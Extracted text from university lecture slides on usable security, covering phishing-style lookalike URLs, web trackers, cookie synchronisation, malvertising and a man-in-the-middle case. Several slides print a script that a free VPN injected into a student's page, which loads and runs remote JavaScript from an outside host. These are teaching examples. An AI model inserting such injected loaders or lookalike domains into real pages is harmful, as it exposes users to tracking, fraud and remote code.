
ECE750: Usable Security and Privacy
Security - Advertising

Dr. Kami Vaniea
Electrical and Computer Engineering
kami.vaniea@uwaterloo.ca



First, the news…

▪ First 5 minutes we talk about something interesting and recent

▪ You will not be tested on the news part of lecture

▪ You may use news as an example on tests

▪ Why do this? 

1. Some students show up late for various good reasons

2. Reward students who show up on time

3. Important to see real world examples
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Security properties to ensure

Confidentiality No improper information gathering

Integrity Data has not been (maliciously) altered

Availability Data/services can be accessed as desired

Accountability Actions are traceable to those responsible

Authentication User or data origin accurately identifiable
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Security expects specifications

▪ There is no such thing as a fully 
secure system that is protected 
from everything. 

▪ Systems can be protected against 
specified threats, allow specified 
actions, and accept specified risks. 

▪ Confidential: only authorized entities 
can read data or infer information

▪ Integral: only authorized entities can 
alter data. 

▪ Available: authorized entities can 
access the data 

▪ Accountable: all actions are recorded 
and traceable to who/what did it

▪ Authenticated: all entities have had 
their identities or credentials verified
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them.

▪ Issue of who should have access can 
be complex – Privacy.

▪ Confidential: only authorized entities 
can read data or infer information

▪ Integral: only authorized entities can 
alter data. 
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access the data 

▪ Accountable: all actions are recorded 
and traceable to who/what did it

▪ Authenticated: all entities have had 
their identities or credentials verified
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system works

Actually how the system 
works
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Theoretically how 
the system works

Actually how the 
system works

Hack potential:
Get the system to 
do what the user 
wants but system 
designer did not 
intend.
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Theoretically how 
the system works

Actually how the 
system works

Security 
professional: 
Remove, block, defend, 
or otherwise prevent 
unintended harmful 
uses of a system.



Example: X rewrote all URLs containing 
"twitter" to instead say "x"

▪ Suddently

o fedetwitter[.]com

▪ Is shown to users as

o fedex[.]com

▪ But still actually goes to 

o fedetwitter[.]com
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“A system which is unspecified can never be 
wrong, it can only be surprising.”
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THREAT MODELS
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https://arstechnica.com/information-technology/2017/07/how-i-learned-to-stop-worrying-mostly-and-love-my-threat-model/
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HOW WEBSITES ARE BUILT
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The threats....
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We will be discussing two threats:

Malicious actors - Groups that use illegal methods to steal your 

money or other resources like your electricity, computing 

power, or insurance.

Data aggregators - Groups like marketing companies that collect 

information about you and monetize it by either selling it 

or using it for marketing.
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Malicious actors cost the U K a L O T of money

• Fraud against UK citizens is estimated 
at £9.7 billion a year.

• Phishing costs the UK £280 million a
year.

• Mirai botnet attack on one website 
cost each person £10.3.

• Shut down key services like the NHS.

1

2

Experian, Annual Fraud Indicator 2016

K i m Fong, K u r t Hepler, Rohit Raghavan, Peter Rowland,
r IoT : Quantifying Consumer Costs of Insecure Internet of
Things Devices
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Data Aggregator

Report to the Committee on Commerce, Science, and Transportation, US Senate, Information Resellers
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Data helps 

companies determine 

who might be willing 

to pay more.



Cambridge  Analytic 

is famous for 

collecting data from 

Facebook and using 

it to influence 

elections.



Things like insurance 

rates can be 

controlled by data.



Lets take a look at how all that is actually done
and why it works.



Predicting where links (URLs) will go
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Like postal addresses, links are read right to left
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None of these go to Paypal

▪ paypal.com.login-myaccount.policy.country

▪ paypal.com.updates-information-accounts.ga

▪ paypal.com.account.update.amquipac.org

▪ paypal.com.login.summary-limited-account.gq

▪ paypal.com-websecure.limited

▪ paypal.com.resolution-ticket.tk

▪ www.update-paypal-informations-account.ga

29

S.S. Albakry, K. Vaniea, M.K. Wolters; “What is this URL's Destination? Empirical Evaluation of Users' URL Reading”; In CHI 2020.
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Only 8 % could 

reliably differentiate 

between 

mobile.facebook.com

and 

facebook.mobile.com

S.S. Albakry, K. Vaniea, M.K. Wolters; “What is this URL's Destination? 
Empirical Evaluation of Users' URL Reading”; In CHI 2020.



Threat: Malicious Actors



Use sneaky looking 

links to trick users 

that a link is safe 

when it is not.



Use sneaky looking 

links to trick users 
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when it is not.



Use sneaky looking 

links to trick users 

that a link is safe 

when it is not.
http://card-rd.ga/chop/office/office/index.html

http://card-rd.ga/chop/office/office/index.html


Punycode

▪ UTF16 characters like Cyrillic (Russian) are used instead of ASCII characters

▪ xn--80ak6aa92e.com               

▪ The local browser translates the punycode for these characters into human-
friendly version

▪ apple.com



GET String

▪ A URL can contain extra 
information

▪ Attackers use them to remind 
themselves about their target
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Threat: Data Aggregators



Data aggregators use 

URLs to collect 

detailed data about 

the exact link you 

clicked on.
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Data aggregators use 

URLs to collect

detai

the e

clicke

led data about
xact link you

d on.

http://click.email.homedepot.com/?qs=7ed3e8b947f24782bba69dca2afba163
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Data that is sent on 

every click.

“User-Agent” is the 

type of 

computer/browser 

you have.



Cookie synchronization

▪ Browsers ensure that a website can 
only read cookies that it sets. 

▪ Microsoft.com cannot read facebook.com 
cookies.

▪ Trackers want to link their ID to the 
real identity a website has.

Website

….
<img src=third-party-

tracker.com?id=skgjoweigjwigjdifds3t>
….



Building a webpage
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Once you click, your web browser will attempt to 
load the page.

Lets look at what the browser is doing.



Webpages are not 

flat. They are made 

up of many 

components that 

come from different 

places.



Cute Dogs!

Cute dog sleeping under

a bench in a park.

Playing with a ball all

day can be exhausting,

but that is no reason to

let go of the ball.

First, the computer fetches the main page. 
This page is similar to a template, or a
recipe in that it contains instructions on 
how to build the rest of the page.

Loaded:

• index.html from cutedog.com

• dog.jpg from instagram.com

• sad_dog.jpg from instagram.com

• style.css from cutedog.com

• tracker.js from beacon.krxd.net

• invisible.jpg from doubleclick.com

• connect.js from connect.facebook.net
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Cute Dogs!

Cute dog sleeping under

a bench in a park.

Playing with a ball all

day can be exhausting,

but that is no reason to

let go of the ball.

Red shaded boxes are parts of the template 
that are waiting to be filled.

Loaded:

• index.html from cutedog.com

• dog.jpg from instagram.com

• sad_dog.jpg from instagram.com

• style.css from cutedog.com

• tracker.js from beacon.krxd.net

• invisible.jpg from doubleclick.com

• connect.js from connect.facebook.net
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Cute Dogs!

Cute dog sleeping under

a bench in a park.
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Playing with a ball all

day can be exhausting,

but that is no reason to

let go of the ball.

Photos are fetched

Loaded:

• index.html from cutedog.com

• dog.jpg from instagram.com

• sad_dog.jpg from instagram.com

• style.css from cutedog.com

• tracker.js from beacon.krxd.net

• invisible.jpg from doubleclick.com

• connect.js from connect.facebook.net
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Photos are fetched

Loaded:
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Cute Dogs!

Cute dog sleeping under

a bench in a park.
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Playing with a ball all

day can be exhausting,

but that is no reason to

let go of the ball.

CSS style sheet fetched, causing colors and 
image positions to adjust.

Loaded:

• index.html from cutedog.com

• dog.jpg from instagram.com

• sad_dog.jpg from instagram.com

• style.css from cutedog.com

• tracker.js from beacon.krxd.net

• invisible.jpg from doubleclick.com

• connect.js from connect.facebook.net



Cute Dogs!

Cute dog sleeping under

a bench in a park.
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Playing with a ball all

day can be exhausting,

but that is no reason to

let go of the ball.

Tracker JavaScript loads, no visible change

Loaded:

• index.html from cutedog.com

• dog.jpg from instagram.com

• sad_dog.jpg from instagram.com

• style.css from cutedog.com

• tracker.js from beacon.krxd.net

• invisible.jpg from doubleclick.com

• connect.js from connect.facebook.net



Cute Dogs!

Cute dog sleeping under

a bench in a park.
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Playing with a ball all

day can be exhausting,

but that is no reason to

let go of the ball.

Invisible image loads, white on white so no 
obvious change.

Loaded:

• index.html from cutedog.com

• dog.jpg from instagram.com

• sad_dog.jpg from instagram.com

• style.css from cutedog.com

• tracker.js from beacon.krxd.net

• invisible.jpg from doubleclick.com

• connect.js from connect.facebook.net



Cute Dogs!

Cute dog sleeping under

a bench in a park.
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Playing with a ball all

day can be exhausting,

but that is no reason to

let go of the ball.

Connect.js modifies the page to add a new 
piece of content to the list.

Loaded:

• index.html from cutedog.com

• dog.jpg from instagram.com

• sad_dog.jpg from instagram.com

• style.css from cutedog.com

• tracker.js from beacon.krxd.net

• invisible.jpg from doubleclick.com

• connect.js from connect.facebook.net

• logo.jpg from connect.facebook.net



Cute Dogs!

Cute dog sleeping under

a bench in a park.
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Playing with a ball all

day can be exhausting,

but that is no reason to

let go of the ball.

Connect.js modifies the page to add a new 
piece of content to the list.

Loaded:

• index.html from cutedog.com

• dog.jpg from instagram.com

• sad_dog.jpg from instagram.com

• style.css from cutedog.com

• tracker.js from beacon.krxd.net

• invisible.jpg from doubleclick.com

• connect.js from connect.facebook.net

• logo.jpg from connect.facebook.net



Each piece of 

content can add new 

content to the page.



Ghostery: Page content sources





T h e Guardian Content Sources

• assets.guim.co.uk

• i.guim.co.uk

• interactive.guim.co.uk

• ipv4.guim.co.uk

• ipv6.guim.co.uk

• polyfill.guim.co.uk

• uploads.guim.co.uk

• api.nextgen.guardianapps.co.uk

• ophan.theguardian.com

• static.theguardian.com

• ad.360yield.com

• adservice.google.com

• adservice.google.co.uk

• apex.go.sonobi.com

• as-sec.casalemedia.com

• beacon.gu-web.net

• beacon.krxd.net

• cdn.adsafeprotected.com

• cdn-gl.imrworldwide.com

• cdn.krxd.net

• connect.facebook.net

• consumer.krxd.net

• dt.adsafeprotected.com

• dual.guim.co.uk

• elb.the-ozone-project.com

• googleads.g.doubleclick.net

• i.ytimg.com

• pagead2.googlesyndication.com

• partner.mediawallahscript.com

• pixel.adsafeprotected.com

• prebid.adnxs.com

• sb.scorecardresearch.com

• secure-au.imrworldwide.com

• secure-dcr.imrworldwide.com

• secure-gl.imrworldwide.com

• securepubads.g.doubleclick.net

• static.adsafeprotected.com

• static.doubleclick.net

• stats.g.doubleclick.net

• sync.go.sonobi.com

• s.ytimg.com

• tags.bluekai.com

• tpc.googlesyndication.com

• uipglob.semasio.net

• www.facebook.com

• www.googleadservices.com

• www.google-analytics.com

• www.google.com

• www.google.co.uk

• www.googletagservices.com

• www.youtube.com

•

7senobrlslpagqt8kh6vbxl92ahwu1528731245.n

•

bxszji1mxmxq5qq9g5dtcxaspq6831528730887
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T h e Telegraph Content Sources

static.telegraph.co.uk
assets.adobedtm.com
dpm.demdex.net

img.youtube.com

sb.scorecardresearch.com
zm232.com
secure.s.telegraph.co.uk
c.amazon-adsystem.com
www.googletagservices.com

tmg.demdex.net

securepubads.g.doubleclick.net

connect.facebook.net
www.google-analytics.com
adservice.google.com
adservice.google.co.uk

www.facebook.com
js-sec.indexww.com
bat.bing.com

telegraph.sdk.beemray.com

hm732.com
amplify.outbrain.com

ib.adnxs.com
telegraphmedia.bootstrap.fyre.co
amplifypixel.outbrain.com

aax.amazon-adsystem.com
cdn.taboola.com
tr.outbrain.com
telegraphmediagroupl.tt.omtrdc.net
telegraph.grapeshot.co.uk

ict.infinity-tracking.net

opentag-stats.qubit.com

cdn.petametrics.com

collector-2794.tvsquared.com

acdn.adnxs.com
advertising.oriel.io
static.criteo.net

v7.beemray.com

as-sec.casalemedia.com
secure.adnxs.com
trc.taboola.com
query.petametrics.com

bidder.criteo.com
router.infolinks.com
load77.exelator.com
pr-bh.ybp.yahoo.com
aax-eu.amazon-adsystem.com

sync.search.spotxchange.com

beacon.walmart.com
s.amazon-adsystem.com
m.adnxs.com
pagead2.googlesyndication.com
tpc.googlesyndication.com

pixel.advertising.com

www.google.com

secure-assets.rubiconproject.com

cdn.ampproject.org

ams1-ib.adnxs.com
plugin.mediavoice.com
eus.rubiconproject.com
native.sharethrough.com

meraxes-cdn.polarmobile.com

ads.pubmatic.com

fw.adsafeprotected.com

cdn.adnxs.com
us-u.openx.net

pixel.adsafeprotected.com

gb-gmtdmp.mookie1.com

z.moatads.com
cdn.mookie1.com
static-tagr.gd1.mookie1.com
d.lemonpi.io

match.adsrvr.org

dt.adsafeprotected.com

px.moatads.com
eu-u.openx.net
b.sharethrough.com

googleads.g.doubleclick.net

token.rubiconproject.com

ad.doubleclick.net
cdn.mediavoice.com
image6.pubmatic.com

odr.mookie1.com
pixel-eu.rubiconproject.com
static.adsafeprotected.com

pubads.g.doubleclick.net

s0.2mdn.net
pentos-cdn.polarmobile.com
googleads4.g.doubleclick.net

pubmatic-match.dotomi.com

c1.adform.net
pubmatic2waycm-
atl.netmng.com
cdnjs.cloudflare.com

simage2.pubmatic.com

image2.pubmatic.com

image4.pubmatic.com

simage4.pubmatic.com

p.skimresources.com

static.chartbeat.com
s3-eu-west-1.amazonaws.com
ping.chartbeat.net
secure.widget.cloud.opta.net
www.google.co.uk

ssl.google-analytics.com

ade.googlesyndication.com

pixel.tapad.com

pub.pxl.ace.advertising.com

cm.ctnsnet.com
connexity.net
magnetic.t.domdex.com

pixel.rubiconproject.com

dis.criteo.com
r.turn.com
t.wayfair.com
p.adsymptotic.com
delivery.h.switchadhub.com

choices.truste.com
eur-ukp.adsrvr.org

ad.atdmt.com
a.ctnsnet.com
cdn.ctnsnet.com
cm.g.doubleclick.net

choices.trustarc.com
code.createjs.com
collector.cint.com
dsum-sec.casalemedia.com
cm.adform.net
ad.360yield.com

eb2.3lift.com
jadserve.postrelease.com
rtb-csync.smartadserver.com

sync.teads.tv

dh.serving-sys.com

s.thebrighttag.com
adserver-
us.adtech.advertising.com
www.national-lottery.co.uk

d3c3cq33003psk.cloudfront.net

telegraphmediagroup.d3.sc.omtrdc.net

performance-

data.gcpdata.telegraph.co.uk
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B B C Content Sources

• nav.files.bbci.co.uk

• static.bbc.co.uk

• homepage.files.bbci.co.uk

• ichef.bbci.co.uk

• fig.bbc.co.uk

• mybbc.files.bbci.co.uk

• ssl.bbc.co.uk

• static.bbci.co.uk

• search.files.bbci.co.uk

• mvt.api.bbc.com

• sa.bbc.co.uk

• idcta.api.bbc.co.uk

• edigitalsurvey.com

tulipslab.org K a m i Vaniea, University of Edinburgh
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T h e Guardian Content Sources

• assets.guim.co.uk

• i.guim.co.uk

• interactive.guim.co.uk

• ipv4.guim.co.uk

• ipv6.guim.co.uk

• polyfill.guim.co.uk

• uploads.guim.co.uk

• api.nextgen.guardianapps.co.uk

• ophan.theguardian.com

• static.theguardian.com

• ad.360yield.com

• adservice.google.com

• adservice.google.co.uk

• apex.go.sonobi.com

• as-sec.casalemedia.com

• beacon.gu-web.net

• beacon.krxd.net

• cdn.adsafeprotected.com

• cdn-gl.imrworldwide.com
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• connect.facebook.net
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http://www.google.co.uk/
http://www.googletagservices.com/
http://www.youtube.com/


The Guardian as you 

would normally see it
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Threat: Malicious Actors



Security principle: T h e more you have to protect, the 
harder it is to protect it.
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Man in the Middle (MITM) attack
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Every point or 
line could 

possibly alter or 
fake content



“Malicious payloads were being delivered to around

300,000 users per hour. The company guesses that around

9 percent of those, or 27,000 users per hour, were being

infected.”

tulipslab.org K a m i Vaniea, University of Edinburgh



“Clients visiting yahoo.com received advertisements served

by ads.yahoo.com. Some of the advertisements are mali-

cious . . . Instead of serving ordinary ads, the Yahoo’s servers

reportedly sends users an ‘exploit kit.”’

tulipslab.org K a m i Vaniea, University of Edinburgh



“Malicious payloads were being delivered to around

300,000 users per hour. The company guesses that around

9 percent of those, or 27,000 users per hour, were being

infected.”

tulipslab.org K a m i Vaniea, University of Edinburgh



The following attack happened to a student of mine 
when they were trying to upload their “set a cookie” 
homework using a free VPN.

Kami Vaniea
76



<html>
<head>
 <title>Basic web page</title>
 <link href="http://vaniea.com/teaching/privacyToday/basic.css" rel="stylesheet" type="text/css"/>
 <script>
  document.cookie="username=John Doe;";
 </script>
</head>
<body> THIS TEXT HAS BEEN CHANGED.
</body>
</html>

Correct 
Answer



<html>
<head>
 <title>Basic web page</title>
 <link href="http://vaniea.com/teaching/privacyToday/basic.css" rel="stylesheet" type="text/css"/>
 <script>
  document.cookie="username=John Doe;";
 </script>
</head>
<body><script type="text/javascript">ANCHORFREE_VERSION="633161526"</script><script type='text/javascript'>var _AF2$ = 
{'SN':'HSSHIELD00US','IP':'216.172.135.223','CH':'HSSCNL000550','CT':'z51','HST':'&sessStartTime=1422651433&accessLP=1','AFH':'hss734','RN':Math.floor(Math.random()*999),'TOP':(parent.location!=d
ocument.location||top.location!=document.location)?0:1,'AFVER':'3.42','fbw':false,'FBWCNT':0,'FBWCNTNAME':'FBWCNT_FIREFOX','NOFBWNAME':'NO_FBW_FIREFOX','B':'f','VER': 
'us'};if(_AF2$.TOP==1){document.write("<scr"+"ipt 
src='http://box.anchorfree.net/insert/insert.php?sn="+_AF2$.SN+"&ch="+_AF2$.CH+"&v="+ANCHORFREE_VERSION+6+"&b="+_AF2$.B+"&ver="+_AF2$.VER+"&afver="+_AF2$.AFVER+"' 
type='text/javascript'></scr"+"ipt>");}</script>
 THIS TEXT HAS BEEN CHANGED.
</body>
</html>

<html>
<head>
 <title>Basic web page</title>
 <link href="http://vaniea.com/teaching/privacyToday/basic.css" rel="stylesheet" type="text/css"/>
 <script>
  document.cookie="username=John Doe;";
 </script>
</head>
<body> THIS TEXT HAS BEEN CHANGED.
</body>
</html>

Correct 
Answer

Attacked 
Answer



<html>
<head>
 <title>Basic web page</title>
 <link href="http://vaniea.com/teaching/privacyToday/basic.css" rel="stylesheet" type="text/css"/>
 <script>
  document.cookie="username=John Doe;";
 </script>
</head>
<body><script type="text/javascript">ANCHORFREE_VERSION="633161526"</script><script type='text/javascript'>var _AF2$ = 
{'SN':'HSSHIELD00US','IP':'216.172.135.223','CH':'HSSCNL000550','CT':'z51','HST':'&sessStartTime=1422651433&accessLP=1','AFH':'hss734','RN':Math.floor(Math.random()*999),'TOP':(parent.location!=d
ocument.location||top.location!=document.location)?0:1,'AFVER':'3.42','fbw':false,'FBWCNT':0,'FBWCNTNAME':'FBWCNT_FIREFOX','NOFBWNAME':'NO_FBW_FIREFOX','B':'f','VER': 
'us'};if(_AF2$.TOP==1){document.write("<scr"+"ipt 
src='http://box.anchorfree.net/insert/insert.php?sn="+_AF2$.SN+"&ch="+_AF2$.CH+"&v="+ANCHORFREE_VERSION+6+"&b="+_AF2$.B+"&ver="+_AF2$.VER+"&afver="+_AF2$.AFVER+"' 
type='text/javascript'></scr"+"ipt>");}</script>
 THIS TEXT HAS BEEN CHANGED.
</body>
</html>

<html>
<head>
 <title>Basic web page</title>
 <link href="http://vaniea.com/teaching/privacyToday/basic.css" rel="stylesheet" type="text/css"/>
 <script>
  document.cookie="username=John Doe;";
 </script>
</head>
<body> THIS TEXT HAS BEEN CHANGED.
</body>
</html>

Correct 
Answer

Attacked 
Answer



ANCHORFREE_VERSION="633161526“;
var _AF2$ = 
{'SN':'HSSHIELD00US','IP':'216.172.135.223','CH':'HSSCNL000550','CT':'z51','HST':'&sessStartTime=1422651433&accessLP=1','AFH':'hss734','RN':Math.floor(Math.random()*999),'TOP':(p
arent.location!=document.location||top.location!=document.location)?0:1,'AFVER':'3.42','fbw':false,'FBWCNT':0,'FBWCNTNAME':'FBWCNT_FIREFOX','NOFBWNAME':'NO_FBW_FIREFOX
','B':'f','VER': 'us'};if(_AF2$.TOP==1){document.write("<scr"+"ipt 
src='http://box.anchorfree.net/insert/insert.php?sn="+_AF2$.SN+"&ch="+_AF2$.CH+"&v="+ANCHORFREE_VERSION+6+"&b="+_AF2$.B+"&ver="+_AF2$.VER+"&afver="+_AF2$.AFVER+
"' type='text/javascript'></scr"+"ipt>");}



ANCHORFREE_VERSION="633161526“;
var _AF2$ = 
{'SN':'HSSHIELD00US','IP':'216.172.135.223','CH':'HSSCNL000550','CT':'z51','HST':'&sessStartTime=1422651433&accessLP=1','AFH':'hss734','RN':Math.floor(Math.random()*999),'TOP':(p
arent.location!=document.location||top.location!=document.location)?0:1,'AFVER':'3.42','fbw':false,'FBWCNT':0,'FBWCNTNAME':'FBWCNT_FIREFOX','NOFBWNAME':'NO_FBW_FIREFOX
','B':'f','VER': 'us'};if(_AF2$.TOP==1){document.write("<scr"+"ipt 
src='http://box.anchorfree.net/insert/insert.php?sn="+_AF2$.SN+"&ch="+_AF2$.CH+"&v="+ANCHORFREE_VERSION+6+"&b="+_AF2$.B+"&ver="+_AF2$.VER+"&afver="+_AF2$.AFVER+
"' type='text/javascript'></scr"+"ipt>");}



This code is 
downloading more 
javascript from 
box.anchorfree.net 
and running it on 
the client. 

document.write("<scr"+"ipt 
src='http://box.anchorfree.net
/insert/insert.php?sn="+_AF2
$.SN+"&ch="+_AF2$.CH+"&v=
"+ANCHORFREE_VERSION+6+
"&b="+_AF2$.B+"&ver="+_AF
2$.VER+"&afver="+_AF2$.AFV
ER+"' 
type='text/javascript'></scr"+"
ipt>”);



Think-pair-share: ANCHORFREE_VERSION="633161526“;
var _AF2$ = 
{'SN':'HSSHIELD00US','IP':'216.172.135.223','CH':'HSSCNL00055
0','CT':'z51','HST':'&sessStartTime=1422651433&accessLP=1','AF
H':'hss734','RN':Math.floor(Math.random()*999),'TOP':(parent.locat
ion!=document.location||top.location!=document.location)?0:1,'AF
VER':'3.42','fbw':false,'FBWCNT':0,'FBWCNTNAME':'FBWCNT_FIR
EFOX','NOFBWNAME':'NO_FBW_FIREFOX','B':'f','VER': 
'us'};if(_AF2$.TOP==1){document.write("<scr"+"ipt 
src='http://box.anchorfree.net/insert/insert.php?sn="+_AF2$.SN+"
&ch="+_AF2$.CH+"&v="+ANCHORFREE_VERSION+6+"&b="+_A
F2$.B+"&ver="+_AF2$.VER+"&afver="+_AF2$.AFVER+"' 
type='text/javascript'></scr"+"ipt>");}

• Why do this 
attack at all?

• This code is 
complex for a 
reason, what 
is it?



Here Be 
Dragons

The Internet

Website Server

In short: 

Dangerous stuff 
happens on the 
Internet, data can 
be tampered with 
in transit. 

“Free” software 
that offers 
“security” still has 
to make money 
somehow….

Your Computer



Threat: Data Aggregators





Normal Adblock Plus

tulipslab.org K a m i Vaniea, University of Edinburgh 63



Normal (hours later) Adblock Plus
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Emails are similar to

mini web pages, they 

load content the 

same way.



Emails are similar to 

mini web pages, they 

load content the 

same way.



Emails are similar to

mini web pages, they
load content the 

same way.

The above code loads an invisible image (display:none) of size 
1 pixel. Doing so causes your email client to ask for the image
from the server, letting them know that you opened this email.



ONLINE ADVERTISING

ECE750 USEC - Kami Vaniea 92



Online advertising is growing 

ECE750 USEC - Kami Vaniea 93

▪ Cost per impression

▪ Cost per click

o Preferred by Microsoft and Google

▪ Cost per action

Global ad spending by medium. 
Z. Pooranian, M. Conti, H. Haddadi and R. Tafazolli, "Online Advertising Security: Issues, Taxonomy, 
and Future Directions," in IEEE Communications Surveys & Tutorials, 
doi: 10.1109/COMST.2021.3118271. 



Many steps

▪ User opens page (or app)

▪ Ad publisher asks ad exchange

▪ Ad exchange facilitates live bidding

▪ Winning bidder provides an ad

▪ User's browser download's and 
displays the ad

ECE750 USEC - Kami Vaniea 94

Z. Pooranian, M. Conti, H. Haddadi and R. Tafazolli, "Online Advertising Security: Issues, Taxonomy, 
and Future Directions," in IEEE Communications Surveys & Tutorials, 
doi: 10.1109/COMST.2021.3118271. 



Security from the advertisers' perspective

ECE750 USEC - Kami Vaniea 95

▪ Cost per 
impression

▪ Cost per click

▪ Cost per action

The linkage between threats, CIA target, and primary component target. 

Z. Pooranian, M. Conti, H. Haddadi and R. Tafazolli, "Online Advertising Security: Issues, Taxonomy, and Future Directions," in IEEE Communications Surveys 
& Tutorials, doi: 10.1109/COMST.2021.3118271. 

Inflight mod of traffic

Campaign Account



Security from the end-user perspective

▪ Malvertising

▪ Fake or fraud advertising

▪ Data collection by advertiser

▪ Peer-privacy – someone seeing an ad 
over their shoulder 

ECE750 USEC - Kami Vaniea 96



Humans are an important part of a secure system

▪ Phishing – scam emails causing 
people to give away login credentials

▪ Giving away important data

▪ Giving access to important resources 

▪ Putting company information into AI

▪ Logging in from unmanaged 
computers

ECE458 - Kami Vaniea 97

Verizon Data Breach Report Infographic 2025



Giving access to important resources 

ECE750 USEC - Kami Vaniea 98

he downloaded free software from popular code-
sharing site GitHub while trying out some new 
artificial intelligence technology on his home 
computer. The software helped create AI images from 
text prompts.

It worked, but the AI assistant was actually malware 
that gave the hacker behind it access to his computer, 
and his entire digital life.
The hacker gained access to 1Password, a password-
manager that Van Andel used to store passwords and 
other sensitive information, as well as “session 
cookies,” digital files stored on his computer that 
allowed him to access online resources including 
Disney’s Slack channel.


	Default Section
	Slide 1: ECE750: Usable Security and Privacy Security - Advertising
	Slide 2: First, the news… 
	Slide 3
	Slide 4
	Slide 5: Security expects specifications
	Slide 6: Security expects specifications
	Slide 7
	Slide 8
	Slide 9
	Slide 10: Example: X rewrote all URLs containing  "twitter" to instead say "x"
	Slide 11: “A system which is unspecified can never be wrong, it can only be surprising.”

	Threat Models
	Slide 12: Threat Models
	Slide 13

	Website Construction
	Slide 14: How websites are built
	Slide 15: The threats....
	Slide 16: We will be discussing two threats:
	Slide 17: Malicious actors cost the UK a LOT of money
	Slide 18: Malicious actors cost the UK a LOT of money
	Slide 19: Data Aggregator
	Slide 20
	Slide 21
	Slide 22
	Slide 23: Lets take a look at how all that is actually done and why it works.
	Slide 24: Predicting where links (URLs) will go
	Slide 28
	Slide 29: None of these go to Paypal
	Slide 30: None of these go to Paypal
	Slide 31
	Slide 32: Threat: Malicious Actors
	Slide 33
	Slide 34
	Slide 35: Use sneaky looking links to trick users that a link is safe when it is not.
	Slide 36: Punycode
	Slide 37: GET String
	Slide 38: Threat: Data Aggregators
	Slide 39
	Slide 40
	Slide 41: Data aggregators use URLs to collect
	Slide 42: Data aggregators use URLs to collect
	Slide 43
	Slide 44: Cookie synchronization
	Slide 45: Building a webpage
	Slide 46
	Slide 47
	Slide 48: Cute Dogs!
	Slide 49: Cute Dogs!
	Slide 50: Cute Dogs!
	Slide 51: Cute Dogs!
	Slide 52: Cute Dogs!
	Slide 53: Cute Dogs!
	Slide 54: Cute Dogs!
	Slide 55: Cute Dogs!
	Slide 56: Cute Dogs!
	Slide 57
	Slide 58
	Slide 59
	Slide 60: The Guardian Content Sources
	Slide 61: The Guardian Content Sources
	Slide 62: The Telegraph Content Sources
	Slide 63: BBC Content Sources
	Slide 64: BBC Content Sources
	Slide 65: The Guardian Content Sources
	Slide 66: The Guardian as you would normally see it
	Slide 67
	Slide 68
	Slide 69
	Slide 70: Threat: Malicious Actors
	Slide 71
	Slide 72: Man in the Middle (MITM) attack
	Slide 73
	Slide 74
	Slide 75
	Slide 76: The following attack happened to a student of mine when they were trying to upload their “set a cookie” homework using a free VPN.
	Slide 77
	Slide 78
	Slide 79
	Slide 80
	Slide 81
	Slide 82: This code is downloading more javascript from box.anchorfree.net and running it on the client. 
	Slide 83: Think-pair-share:  
	Slide 84: In short:   Dangerous stuff happens on the Internet, data can be tampered with in transit.   “Free” software that offers “security” still has to make money somehow….
	Slide 85: Threat: Data Aggregators
	Slide 86
	Slide 87
	Slide 88
	Slide 89
	Slide 90
	Slide 91: Emails are similar to

	Online Advertising
	Slide 92: Online Advertising
	Slide 93: Online advertising is growing 
	Slide 94: Many steps
	Slide 95: Security from the advertisers' perspective
	Slide 96: Security from the end-user perspective
	Slide 97: Humans are an important part of a secure system
	Slide 98: Giving access to important resources 


